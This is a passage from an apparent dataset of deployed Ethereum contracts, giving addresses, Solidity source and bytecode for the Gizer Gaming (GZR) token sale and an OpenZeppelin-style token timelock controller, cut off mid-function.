ffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161857600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561166a57fe5b818303905092915050565b600080828401905083811015151561168957fe5b80915050929150505600a165627a7a72305820a33d278e442fe0db4a82f3707d163466f243440102f0390ef6deb55a9dc3110b0029 | {"success": true, "error": null, "results": {}} | 10,354 |
0x89afa608488592cef2f337f36eaf4cbfb05d9289 | pragma solidity ^0.4.20;
// ----------------------------------------------------------------------------
//
// GZR 'Gizer Gaming' token public sale contract
//
// For details, please visit: http://www.gizer.io
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
//
// SafeMath
//
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require( c >= a );
}
function sub(uint a, uint b) internal pure returns (uint c) {
require( b <= a );
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require( a == 0 || c / a == b );
}
}
// ----------------------------------------------------------------------------
//
// Owned contract
//
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
mapping(address => bool) public isAdmin;
// Events ---------------------------
event OwnershipTransferProposed(address indexed _from, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
event AdminChange(address indexed _admin, bool _status);
// Modifiers ------------------------
modifier onlyOwner { require( msg.sender == owner ); _; }
modifier onlyAdmin { require( isAdmin[msg.sender] ); _; }
// Functions ------------------------
function Owned() public {
owner = msg.sender;
isAdmin[owner] = true;
}
function transferOwnership(address _newOwner) public onlyOwner {
require( _newOwner != address(0x0) );
OwnershipTransferProposed(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function addAdmin(address _a) public onlyOwner {
require( isAdmin[_a] == false );
isAdmin[_a] = true;
AdminChange(_a, true);
}
function removeAdmin(address _a) public onlyOwner {
require( isAdmin[_a] == true );
isAdmin[_a] = false;
AdminChange(_a, false);
}
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
// Events ---------------------------
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
// Functions ------------------------
function totalSupply() public view returns (uint);
function balanceOf(address _owner) public view returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function transferFrom(address _from, address _to, uint _value) public returns (bool success);
function approve(address _spender, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint remaining);
}
// ----------------------------------------------------------------------------
//
// ERC Token Standard #20
//
// ----------------------------------------------------------------------------
contract ERC20Token is ERC20Interface, Owned {
using SafeMath for uint;
uint public tokensIssuedTotal = 0;
mapping(address => uint) balances;
mapping(address => mapping (address => uint)) allowed;
// Functions ------------------------
/* Total token supply */
function totalSupply() public view returns (uint) {
return tokensIssuedTotal;
}
/* Get the account balance for an address */
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
/* Transfer the balance from owner's account to another account */
function transfer(address _to, uint _amount) public returns (bool success) {
// amount sent cannot exceed balance
require( balances[msg.sender] >= _amount );
// update balances
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(msg.sender, _to, _amount);
return true;
}
/* Allow _spender to withdraw from your account up to _amount */
function approve(address _spender, uint _amount) public returns (bool success) {
// approval amount cannot exceed the balance
require( balances[msg.sender] >= _amount );
// update allowed amount
allowed[msg.sender][_spender] = _amount;
// log event
Approval(msg.sender, _spender, _amount);
return true;
}
/* Spender of tokens transfers tokens from the owner's balance */
/* Must be pre-approved by owner */
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
// balance checks
require( balances[_from] >= _amount );
require( allowed[_from][msg.sender] >= _amount );
// update balances and allowed amount
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
// log event
Transfer(_from, _to, _amount);
return true;
}
/* Returns the amount of tokens approved by the owner */
/* that can be transferred by spender */
function allowance(address _owner, address _spender) public view returns (uint remaining) {
return allowed[_owner][_spender];
}
}
// ----------------------------------------------------------------------------
//
// GZR public token sale
//
// ----------------------------------------------------------------------------
contract GizerToken is ERC20Token {
/* Utility variable */
uint constant E6 = 10**6;
/* Basic token data */
string public constant name = "Gizer Gaming Token";
string public constant symbol = "GZR";
uint8 public constant decimals = 6;
/* Wallets */
address public wallet;
address public redemptionWallet;
address public gizerItemsContract;
/* Crowdsale parameters (constants) */
uint public constant DATE_ICO_START = 1521122400; // 15-Mar-2018 14:00 UTC 10:00 EST
uint public constant TOKEN_SUPPLY_TOTAL = 10000000 * E6;
uint public constant TOKEN_SUPPLY_CROWD = 6112926 * E6;
uint public constant TOKEN_SUPPLY_OWNER = 3887074 * E6; // 2,000,000 tokens reserve
// 1,887,074 presale tokens
uint public constant MIN_CONTRIBUTION = 1 ether / 100;
uint public constant TOKENS_PER_ETH = 1000;
uint public constant DATE_TOKENS_UNLOCKED = 1539180000; // 10-OCT-2018 14:00 UTC 10:00 EST
/* Crowdsale parameters (can be modified by owner) */
uint public date_ico_end = 1523368800; // 10-Apr-2018 14:00 UTC 10:00 EST
/* Crowdsale variables */
uint public tokensIssuedCrowd = 0;
uint public tokensIssuedOwner = 0;
uint public tokensIssuedLocked = 0;
uint public etherReceived = 0; // does not include presale ethers
/* Keep track of + ethers contributed,
+ tokens received
+ tokens locked during Crowdsale */
mapping(address => uint) public etherContributed;
mapping(address => uint) public tokensReceived;
mapping(address => uint) public locked;
// Events ---------------------------
event WalletUpdated(address _newWallet);
event GizerItemsContractUpdated(address _GizerItemsContract);
event RedemptionWalletUpdated(address _newRedemptionWallet);
event DateIcoEndUpdated(uint _unixts);
event TokensIssuedCrowd(address indexed _recipient, uint _tokens, uint _ether);
event TokensIssuedOwner(address indexed _recipient, uint _tokens, bool _locked);
event ItemsBought(address indexed _recipient, uint _lastIdx, uint _number);
// Basic Functions ------------------
/* Initialize */
function GizerToken() public {
require( TOKEN_SUPPLY_OWNER + TOKEN_SUPPLY_CROWD == TOKEN_SUPPLY_TOTAL );
wallet = owner;
redemptionWallet = owner;
}
/* Fallback */
function () public payable {
buyTokens();
}
// Information Functions ------------
/* What time is it? */
function atNow() public view returns (uint) {
return now;
}
/* Are tokens tradeable */
function tradeable() public view returns (bool) {
if (atNow() > date_ico_end) return true ;
return false;
}
/* Available to mint by owner */
function availableToMint() public view returns (uint available) {
if (atNow() <= date_ico_end) {
available = TOKEN_SUPPLY_OWNER.sub(tokensIssuedOwner);
} else {
available = TOKEN_SUPPLY_TOTAL.sub(tokensIssuedTotal);
}
}
/* Unlocked tokens in an account */
function unlockedTokens(address _account) public view returns (uint _unlockedTokens) {
if (atNow() <= DATE_TOKENS_UNLOCKED) {
return balances[_account] - locked[_account];
} else {
return balances[_account];
}
}
// Owner Functions ------------------
/* Change the crowdsale wallet address */
function setWallet(address _wallet) public onlyOwner {
require( _wallet != address(0x0) );
wallet = _wallet;
WalletUpdated(_wallet);
}
/* Change the redemption wallet address */
function setRedemptionWallet(address _wallet) public onlyOwner {
require( _wallet != address(0x0) );
redemptionWallet = _wallet;
RedemptionWalletUpdated(_wallet);
}
/* Change the Gizer Items contract address */
function setGizerItemsContract(address _contract) public onlyOwner {
require( _contract != address(0x0) );
gizerItemsContract = _contract;
GizerItemsContractUpdated(_contract);
}
/* Change the ICO end date */
function extendIco(uint _unixts) public onlyOwner {
require( _unixts > date_ico_end );
require( _unixts < 1530316800 ); // must be before 30-JUN-2018
date_ico_end = _unixts;
DateIcoEndUpdated(_unixts);
}
/* Minting of tokens by owner */
function mintTokens(address _account, uint _tokens) public onlyOwner {
// check token amount
require( _tokens <= availableToMint() );
// update
balances[_account] = balances[_account].add(_tokens);
tokensIssuedOwner = tokensIssuedOwner.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
// log event
Transfer(0x0, _account, _tokens);
TokensIssuedOwner(_account, _tokens, false);
}
/* Minting of tokens by owner */
function mintTokensLocked(address _account, uint _tokens) public onlyOwner {
// check token amount
require( _tokens <= availableToMint() );
// update
balances[_account] = balances[_account].add(_tokens);
locked[_account] = locked[_account].add(_tokens);
tokensIssuedOwner = tokensIssuedOwner.add(_tokens);
tokensIssuedTotal = tokensIssuedTotal.add(_tokens);
tokensIssuedLocked = tokensIssuedLocked.add(_tokens);
// log event
Transfer(0x0, _account, _tokens);
TokensIssuedOwner(_account, _tokens, true);
}
/* Transfer out any accidentally sent ERC20 tokens */
function transferAnyERC20Token(address tokenAddress, uint amount) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, amount);
}
// Private functions ----------------
/* Accept ETH during crowdsale (called by default function) */
function buyTokens() private {
// basic checks
require( atNow() > DATE_ICO_START && atNow() < date_ico_end );
require( msg.value >= MIN_CONTRIBUTION );
// check token volume
uint tokensAvailable = TOKEN_SUPPLY_CROWD.sub(tokensIssuedCrowd);
uint tokens = msg.value.mul(TOKENS_PER_ETH) / 10**12;
require( tokens <= tokensAvailable );
// issue tokens
balances[msg.sender] = balances[msg.sender].add(tokens);
// update global tracking variables
tokensIssuedCrowd = tokensIssuedCrowd.add(tokens);
tokensIssuedTotal = tokensIssuedTotal.add(tokens);
etherReceived = etherReceived.add(msg.value);
// update contributor tracking variables
etherContributed[msg.sender] = etherContributed[msg.sender].add(msg.value);
tokensReceived[msg.sender] = tokensReceived[msg.sender].add(tokens);
// transfer Ether out
if (this.balance > 0) wallet.transfer(this.balance);
// log token issuance
TokensIssuedCrowd(msg.sender, tokens, msg.value);
Transfer(0x0, msg.sender, tokens);
}
// ERC20 functions ------------------
/* Override "transfer" */
function transfer(address _to, uint _amount) public returns (bool success) {
require( tradeable() );
require( unlockedTokens(msg.sender) >= _amount );
return super.transfer(_to, _amount);
}
/* Override "transferFrom" */
function transferFrom(address _from, address _to, uint _amount) public returns (bool success) {
require( tradeable() );
require( unlockedTokens(_from) >= _amount );
return super.transferFrom(_from, _to, _amount);
}
// Bulk token transfer function -----
/* Multiple token transfers from one address to save gas */
function transferMultiple(address[] _addresses, uint[] _amounts) external {
require( tradeable() );
require( _addresses.length == _amounts.length );
require( _addresses.length <= 100 );
// check token amounts
uint tokens_to_transfer = 0;
for (uint i = 0; i < _addresses.length; i++) {
tokens_to_transfer = tokens_to_transfer.add(_amounts[i]);
}
require( tokens_to_transfer <= unlockedTokens(msg.sender) );
// do the transfers
for (i = 0; i < _addresses.length; i++) {
super.transfer(_addresses[i], _amounts[i]);
}
}
// Functions to convert GZR to Gizer items -----------
/* GZR token owner buys one Gizer Item */
function buyItem() public returns (uint idx) {
super.transfer(redemptionWallet, E6);
idx = mintItem(msg.sender);
// event
ItemsBought(msg.sender, idx, 1);
}
/* GZR token owner buys several Gizer Items (max 100) */
function buyMultipleItems(uint8 _items) public returns (uint idx) {
// between 0 and 100 items
require( _items > 0 && _items <= 100 );
// transfer GZR tokens to redemption wallet
super.transfer(redemptionWallet, _items * E6);
// mint tokens, returning indexes of first and last item minted
for (uint i = 0; i < _items; i++) {
idx = mintItem(msg.sender);
}
// event
ItemsBought(msg.sender, idx, _items);
}
/* Internal function to call */
function mintItem(address _owner) internal returns(uint idx) {
GizerItemsInterface g = GizerItemsInterface(gizerItemsContract);
idx = g.mint(_owner);
}
}
// ----------------------------------------------------------------------------
//
// GZR Items interface
//
// ----------------------------------------------------------------------------
contract GizerItemsInterface is Owned {
function mint(address _to) public onlyAdmin returns (uint idx);
} | 0x6060604052600436106102375763ffffffff60e060020a60003504166306fdde038114610241578063095ea7b3146102cb5780631785f53c1461030157806318160ddd1461032057806320df7f351461034557806323b872dd1461035857806324d7806c14610380578063291948ff1461039f57806330adce0e146103b2578063313ce567146103c557806340650c91146103ee57806345395b03146104015780634b75f046146104145780634d7569ac14610427578063521eb2731461043a57806357fa580e146104695780635c1d22151461048857806370480275146104aa57806370a08231146104c957806374601c3c146104e85780637619317b146104fb57806377e5f6d01461050e578063795612d61461052d57806379ba5097146105405780637c38ce181461055357806381aea66814610566578063836115fe1461057957806384ef0778146105985780638da5cb5b146105ab578063954056f7146105be57806395cc2e8b146105dd57806395d89b41146105f0578063a05fccef14610603578063a82776dd1461062d578063a9059cbb1461064c578063bb74b4e61461066e578063bc6e660414610681578063cbf9fe5f14610694578063cef9db6d146106b3578063d289eb82146106c6578063d4ee1d90146106df578063dc39d06d146106f2578063dce579d114610714578063dd62ed3e1461072a578063deaa59df1461074f578063e0591ddc1461076e578063f0dda65c14610781578063f2fde38b146107a3578063f5ac9db6146107c2575b61023f6107d5565b005b341561024c57600080fd5b610254610a1c565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610290578082015183820152602001610278565b50505050905090810190601f1680156102bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102d657600080fd5b6102ed600160a060020a0360043516602435610a53565b604051901515815260200160405180910390f35b341561030c57600080fd5b61023f600160a060020a0360043516610ae3565b341561032b57600080fd5b610333610b80565b60405190815260200160405180910390f35b341561035057600080fd5b610333610b87565b341561036357600080fd5b6102ed600160a060020a0360043581169060243516604435610b8f565b341561038b57600080fd5b6102ed600160a060020a0360043516610bcc565b34156103aa57600080fd5b610333610be1565b34156103bd57600080fd5b610333610be7565b34156103d057600080fd5b6103d8610bed565b60405160ff909116815260200160405180910390f35b34156103f957600080fd5b610333610bf2565b341561040c57600080fd5b610333610bfd565b341561041f57600080fd5b610333610c03565b341561043257600080fd5b610333610c09565b341561044557600080fd5b61044d610c13565b604051600160a060020a03909116815260200160405180910390f35b341561047457600080fd5b610333600160a060020a0360043516610c22565b341561049357600080fd5b61023f600160a060020a0360043516602435610c34565b34156104b557600080fd5b61023f600160a060020a0360043516610d94565b34156104d457600080fd5b610333600160a060020a0360043516610e33565b34156104f357600080fd5b610333610e52565b341561050657600080fd5b61044d610ea4565b341561051957600080fd5b61023f600160a060020a0360043516610eb3565b341561053857600080fd5b610333610f4b565b341561054b57600080fd5b61023f610fbb565b341561055e57600080fd5b610333611046565b341561057157600080fd5b61033361104c565b341561058457600080fd5b610333600160a060020a0360043516611050565b34156105a357600080fd5b6103336110af565b34156105b657600080fd5b61044d6110b5565b34156105c957600080fd5b61023f600160a060020a03600435166110c4565b34156105e857600080fd5b61033361115c565b34156105fb57600080fd5b610254611164565b341561060e57600080fd5b61023f602460048035828101929082013591813591820191013561119b565b341561063857600080fd5b610333600160a060020a0360043516611274565b341561065757600080fd5b6102ed600160a060020a0360043516602435611286565b341561067957600080fd5b6103336112c1565b341561068c57600080fd5b6103336112cb565b341561069f57600080fd5b610333600160a060020a03600435166112d1565b34156106be57600080fd5b6103336112e3565b34156106d157600080fd5b61033360ff600435166112ed565b34156106ea57600080fd5b61044d6113a1565b34156106fd57600080fd5b6102ed600160a060020a03600435166024356113b0565b341561071f57600080fd5b61023f600435611453565b341561073557600080fd5b610333600160a060020a03600435811690602435166114c7565b341561075a57600080fd5b61023f600160a060020a03600435166114f2565b341561077957600080fd5b61044d61158a565b341561078c57600080fd5b61023f600160a060020a0360043516602435611599565b34156107ae57600080fd5b61023f600160a060020a03600435166116ae565b34156107cd57600080fd5b6102ed611749565b600080635aaa7c606107e561104c565b1180156107fa57506009546107f861104c565b105b151561080557600080fd5b662386f26fc1000034101561081957600080fd5b600a546108339065058f46c863809063ffffffff61176a16565b915064e8d4a5100061084d346103e863ffffffff61177f16565b81151561085657fe5b0490508181111561086657600080fd5b600160a060020a03331660009081526004602052604090205461088f908263ffffffff6117a416565b600160a060020a033316600090815260046020526040902055600a546108bb908263ffffffff6117a416565b600a556003546108d1908263ffffffff6117a416565b600355600d546108e7903463ffffffff6117a416565b600d55600160a060020a0333166000908152600e6020526040902054610913903463ffffffff6117a416565b600160a060020a0333166000908152600e6020908152604080832093909355600f90522054610948908263ffffffff6117a416565b600160a060020a033381166000908152600f602052604081209290925530163111156109a757600654600160a060020a039081169030163180156108fc0290604051600060405180830381858888f1935050505015156109a757600080fd5b33600160a060020a03167f2943fd5e8bd599cf8b898edb4c9e55db413d1dc5ec1494f2735f10b4d37bff03823460405191825260208201526040908101905180910390a233600160a060020a03166000600080516020611a3f8339815191528360405190815260200160405180910390a35050565b60408051908101604052601281527f47697a65722047616d696e6720546f6b656e0000000000000000000000000000602082015281565b600160a060020a03331660009081526004602052604081205482901015610a7957600080fd5b600160a060020a03338116600081815260056020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005433600160a060020a03908116911614610afe57600080fd5b600160a060020a03811660009081526002602052604090205460ff161515600114610b2857600080fd5b600160a060020a038116600081815260026020526040808220805460ff191690557faff098f53523369cef878ae47c10d27a8a918f0da3221b889da1776ab58f553f919051901515815260200160405180910390a250565b6003545b90565b635bbe05e081565b6000610b99611749565b1515610ba457600080fd5b81610bae85611050565b1015610bb957600080fd5b610bc48484846117b4565b949350505050565b60026020526000908152604090205460ff1681565b60095481565b600d5481565b600681565b662386f26fc1000081565b600b5481565b600a5481565b65058f46c8638081565b600654600160a060020a031681565b600f6020526000908152604090205481565b60005433600160a060020a03908116911614610c4f57600080fd5b610c57610e52565b811115610c6357600080fd5b600160a060020a038216600090815260046020526040902054610c8c908263ffffffff6117a416565b600160a060020a038316600090815260046020908152604080832093909355601090522054610cc1908263ffffffff6117a416565b600160a060020a038316600090815260106020526040902055600b54610ced908263ffffffff6117a416565b600b55600354610d03908263ffffffff6117a416565b600355600c54610d19908263ffffffff6117a416565b600c55600160a060020a0382166000600080516020611a3f8339815191528360405190815260200160405180910390a381600160a060020a03167f09894422ad12553d2580a482cf496d6325e83e99bd7b01910866675b4ca234ee826001604051918252151560208201526040908101905180910390a25050565b60005433600160a060020a03908116911614610daf57600080fd5b600160a060020a03811660009081526002602052604090205460ff1615610dd557600080fd5b600160a060020a03811660008181526002602052604090819020805460ff191660019081179091557faff098f53523369cef878ae47c10d27a8a918f0da3221b889da1776ab58f553f9151901515815260200160405180910390a250565b600160a060020a0381166000908152600460205260409020545b919050565b6000600954610e5f61104c565b11610e8557600b54610e7e9065038907aa3c809063ffffffff61176a16565b9050610b84565b600354610e9f906509184e72a0009063ffffffff61176a16565b905090565b600754600160a060020a031681565b60005433600160a060020a03908116911614610ece57600080fd5b600160a060020a0381161515610ee357600080fd5b6008805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f761b7ef803b84beb49f389c95a16b74b635a1d0d79f58918404f1b0e3c59c80481604051600160a060020a03909116815260200160405180910390a150565b600754600090610f6790600160a060020a0316620f424061190f565b50610f71336119e2565b905033600160a060020a03167f416ad58d357577d0c8b5b91d5bca4d5c2a6aa7ca8fe5205f9cfef511d1487eb982600160405191825260208201526040908101905180910390a290565b60015433600160a060020a03908116911614610fd657600080fd5b600154600054600160a060020a0391821691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001546000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909216919091179055565b600c5481565b4290565b6000635bbe05e061105f61104c565b116110905750600160a060020a03811660009081526010602090815260408083205460049092529091205403610e4d565b50600160a060020a038116600090815260046020526040902054610e4d565b60035481565b600054600160a060020a031681565b60005433600160a060020a039081169116146110df57600080fd5b600160a060020a03811615156110f457600080fd5b6007805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557fbccb615726bb25bff9bcffa41eed7a8503660f94e19fcb9f2b3f03a47660609c81604051600160a060020a03909116815260200160405180910390a150565b635aaa7c6081565b60408051908101604052600381527f475a520000000000000000000000000000000000000000000000000000000000602082015281565b6000806111a6611749565b15156111b157600080fd5b8483146111bd57600080fd5b60648511156111cb57600080fd5b5060009050805b84811015611209576111ff8484838181106111e957fe5b90506020020135836117a490919063ffffffff16565b91506001016111d2565b61121233611050565b82111561121e57600080fd5b5060005b8481101561126c5761126386868381811061123957fe5b90506020020135600160a060020a0316858584818110151561125757fe5b9050602002013561190f565b50600101611222565b505050505050565b600e6020526000908152604090205481565b6000611290611749565b151561129b57600080fd5b816112a533611050565b10156112b057600080fd5b6112ba838361190f565b9392505050565b65038907aa3c8081565b6103e881565b60106020526000908152604090205481565b6509184e72a00081565b60008060008360ff16118015611307575060648360ff1611155b151561131257600080fd5b60075461133090600160a060020a031660ff8516620f42400261190f565b50600090505b8260ff168110156113545761134a336119e2565b9150600101611336565b33600160a060020a03167f416ad58d357577d0c8b5b91d5bca4d5c2a6aa7ca8fe5205f9cfef511d1487eb9838560405191825260ff1660208201526040908101905180910390a250919050565b600154600160a060020a031681565b6000805433600160a060020a039081169116146113cc57600080fd5b60008054600160a060020a038086169263a9059cbb929091169085906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561143257600080fd5b6102c65a03f1151561144357600080fd5b5050506040518051949350505050565b60005433600160a060020a0390811691161461146e57600080fd5b600954811161147c57600080fd5b635b36c800811061148c57600080fd5b60098190557fbe1526a1b8434b2862b93d67d7a130b3ff978279e40bb39c85eed9c46c97c8548160405190815260200160405180910390a150565b600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60005433600160a060020a0390811691161461150d57600080fd5b600160a060020a038116151561152257600080fd5b6006805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790557f4edbfac5b40fe46ac1af1fd222b224b38cfeeb9e21bd4fc6344526c245f7549b81604051600160a060020a03909116815260200160405180910390a150565b600854600160a060020a031681565b60005433600160a060020a039081169116146115b457600080fd5b6115bc610e52565b8111156115c857600080fd5b600160a060020a0382166000908152600460205260409020546115f1908263ffffffff6117a416565b600160a060020a038316600090815260046020526040902055600b5461161d908263ffffffff6117a416565b600b55600354611633908263ffffffff6117a416565b600355600160a060020a0382166000600080516020611a3f8339815191528360405190815260200160405180910390a381600160a060020a03167f09894422ad12553d2580a482cf496d6325e83e99bd7b01910866675b4ca234ee826000604051918252151560208201526040908101905180910390a25050565b60005433600160a060020a039081169116146116c957600080fd5b600160a060020a03811615156116de57600080fd5b600054600160a060020a0380831691167ff4e75b79500ab730f8a026ed3cba6d55331bcb64c9e9f60c548e371356e5e3c060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060095461175661104c565b111561176457506001610b84565b50600090565b60008282111561177957600080fd5b50900390565b818102821580611799575081838281151561179657fe5b04145b1515610add57600080fd5b81810182811015610add57600080fd5b600160a060020a038316600090815260046020526040812054829010156117da57600080fd5b600160a060020a03808516600090815260056020908152604080832033909416835292905220548290101561180e57600080fd5b600160a060020a038416600090815260046020526040902054611837908363ffffffff61176a16565b600160a060020a038086166000908152600460209081526040808320949094556005815283822033909316825291909152205461187a908363ffffffff61176a16565b600160a060020a03808616600090815260056020908152604080832033851684528252808320949094559186168152600490915220546118c0908363ffffffff6117a416565b600160a060020a0380851660008181526004602052604090819020939093559190861690600080516020611a3f8339815191529085905190815260200160405180910390a35060019392505050565b600160a060020a0333166000908152600460205260408120548290101561193557600080fd5b600160a060020a03331660009081526004602052604090205461195e908363ffffffff61176a16565b600160a060020a033381166000908152600460205260408082209390935590851681522054611993908363ffffffff6117a416565b600160a060020a038085166000818152600460205260409081902093909355913390911690600080516020611a3f8339815191529085905190815260200160405180910390a350600192915050565b600854600090600160a060020a031680636a62784284846040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561143257600080fd00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820922cf37c668f82dcd9077ad4b858919615276c86ea2fcbc94f6e276bc072e4f30029 | {"success": true, "error": null, "results": {}} | 10,355 |
0xfa4c5e8f1182b4aba0b990bd10e04fd3b4717f0f | pragma solidity ^0.4.23;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/grapevine/crowdsale/TokenTimelockController.sol
/**
* @title TokenTimelock Controller
* @dev This contract allows to create/read/revoke TokenTimelock contracts and to claim the amounts vested.
**/
contract TokenTimelockController is Ownable {
using SafeMath for uint;
struct TokenTimelock {
uint256 amount;
uint256 releaseTime;
bool released;
bool revocable;
bool revoked;
}
event TokenTimelockCreated(
address indexed beneficiary,
uint256 releaseTime,
bool revocable,
uint256 amount
);
event TokenTimelockRevoked(
address indexed beneficiary
);
event TokenTimelockBeneficiaryChanged(
address indexed previousBeneficiary,
address indexed newBeneficiary
);
event TokenTimelockReleased(
address indexed beneficiary,
uint256 amount
);
uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days;
uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days;
uint256 public constant INVESTOR_LOCK_DURATION = 1 hours;
mapping (address => TokenTimelock[]) tokenTimeLocks;
ERC20 public token;
address public crowdsale;
bool public activated;
/// @notice Constructor for TokenTimelock Controller
constructor(ERC20 _token) public {
token = _token;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
modifier onlyWhenActivated() {
require(activated);
_;
}
modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) {
require(_beneficiary != address(0));
require(_id < tokenTimeLocks[_beneficiary].length);
require(!tokenTimeLocks[_beneficiary][_id].revoked);
_;
}
/**
* @dev Function to set the crowdsale address
* @param _crowdsale address The address of the crowdsale.
*/
function setCrowdsale(address _crowdsale) external onlyOwner {
require(_crowdsale != address(0));
crowdsale = _crowdsale;
}
/**
* @dev Function to activate the controller.
* It can be called only by the crowdsale address.
*/
function activate() external onlyCrowdsale {
activated = true;
}
/**
* @dev Creates a lock for the provided _beneficiary with the provided amount
* The creation can be peformed only if:
* - the sender is the address of the crowdsale;
* - the _beneficiary and _tokenHolder are valid addresses;
* - the _amount is greater than 0 and was appoved by the _tokenHolder prior to the transaction.
* The investors will have a lock with a lock period of 6 months.
* @param _beneficiary Address that will own the lock.
* @param _amount the amount of the locked tokens.
* @param _start when the lock should start.
* @param _tokenHolder the account that approved the amount for this contract.
*/
function createInvestorTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external onlyCrowdsale returns (bool)
{
require(_beneficiary != address(0) && _amount > 0);
require(_tokenHolder != address(0));
TokenTimelock memory tokenLock = TokenTimelock(
_amount,
_start.add(INVESTOR_LOCK_DURATION),
false,
false,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock);
require(token.transferFrom(_tokenHolder, this, _amount));
emit TokenTimelockCreated(
_beneficiary,
tokenLock.releaseTime,
